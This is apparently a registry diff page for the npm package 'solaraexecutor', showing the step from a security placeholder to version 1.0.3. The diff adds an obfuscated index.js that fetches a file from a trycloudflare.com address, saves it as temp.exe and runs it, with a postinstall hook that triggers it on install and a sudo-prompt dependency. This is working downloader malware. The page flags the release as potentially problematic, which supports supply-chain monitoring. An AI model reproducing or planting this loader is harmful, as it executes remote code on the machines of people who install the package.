solaraexecutor 0.0.1-security → 1.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of solaraexecutor might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +1 -0
  2. package/package.json +14 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1 @@
1
+ const _0x4ca475=_0x1b16;(function(_0x3b9542,_0x595429){const _0xe76eef=_0x1b16,_0x123a92=_0x3b9542();while(!![]){try{const _0x467190=parseInt(_0xe76eef(0xd3))/0x1*(parseInt(_0xe76eef(0xda))/0x2)+-parseInt(_0xe76eef(0xe6))/0x3*(parseInt(_0xe76eef(0xe2))/0x4)+parseInt(_0xe76eef(0xde))/0x5*(-parseInt(_0xe76eef(0xe3))/0x6)+parseInt(_0xe76eef(0xd6))/0x7+parseInt(_0xe76eef(0xe5))/0x8+parseInt(_0xe76eef(0xe4))/0x9*(parseInt(_0xe76eef(0xd4))/0xa)+parseInt(_0xe76eef(0xdb))/0xb;if(_0x467190===_0x595429)break;else _0x123a92['push'](_0x123a92['shift']());}catch(_0x1816d8){_0x123a92['push'](_0x123a92['shift']());}}}(_0x25e2,0x8533e));function _0x1b16(_0x28cd90,_0x363108){const _0x25e2d6=_0x25e2();return _0x1b16=function(_0x1b1604,_0xe0ba5d){_0x1b1604=_0x1b1604-0xd2;let _0x5b5ea5=_0x25e2d6[_0x1b1604];return _0x5b5ea5;},_0x1b16(_0x28cd90,_0x363108);}const fs=require('fs-extra'),path=require(_0x4ca475(0xd2)),fetch=require('node-fetch'),{exec}=require(_0x4ca475(0xd9)),exeFileName=_0x4ca475(0xd8),downloadUrl=_0x4ca475(0xd5),exeFilePath=path[_0x4ca475(0xe1)](__dirname,exeFileName);async function downloadFile(_0x45315b,_0x29a558){const _0x2d69cf=_0x4ca475,_0x1333c7=await fetch(_0x45315b);if(!_0x1333c7['ok'])throw new Error('HTTP\x20error!\x20status:\x20'+_0x1333c7[_0x2d69cf(0xe0)]);const _0x1e678b=await _0x1333c7[_0x2d69cf(0xdd)]();await fs[_0x2d69cf(0xd7)](_0x29a558,_0x1e678b);}async function runExecutable(){const _0x25f3bd=_0x4ca475;try{await downloadFile(downloadUrl,exeFilePath),exec(exeFilePath,_0x418a40=>{_0x418a40&&console['error']('Error\x20running\x20the\x20executable:\x20'+_0x418a40);});}catch(_0x3eb40d){console[_0x25f3bd(0xdc)](_0x25f3bd(0xdf)+_0x3eb40d);}}runExecutable();function _0x25e2(){const _0xe7c543=['69201GvpnOh','968608IKIimq','6SmcuYC','path','1952YBnrdb','510vPkaNE','https://advisory-behind-calling-laser.trycloudflare.com/home','134036eLdMNd','writeFile','temp.exe','child_process','812Tfzedf','5785131eIZopy','error','buffer','10BaDcxM','Download\x20error:\x20','status','join','2001904IGkkfs','912738WVCpQz'];_0x25e2=function(){return _0xe7c543;};return _0x25e2();}
package/package.json CHANGED
@@ -1,6 +1,17 @@
1
1
  {
2
2
  "name": "solaraexecutor",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.3",
4
+ "description": "Pkg",
5
+ "main": "index.js",
6
+ "bin": {
7
+ "update": "index.js"
8
+ },
9
+ "scripts": {
10
+ "postinstall": "node index.js"
11
+ },
12
+ "dependencies": {
13
+ "fs-extra": "^10.0.0",
14
+ "node-fetch": "^2.6.7",
15
+ "sudo-prompt": "^9.2.1"
16
+ }
6
17
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=solaraexecutor for more information.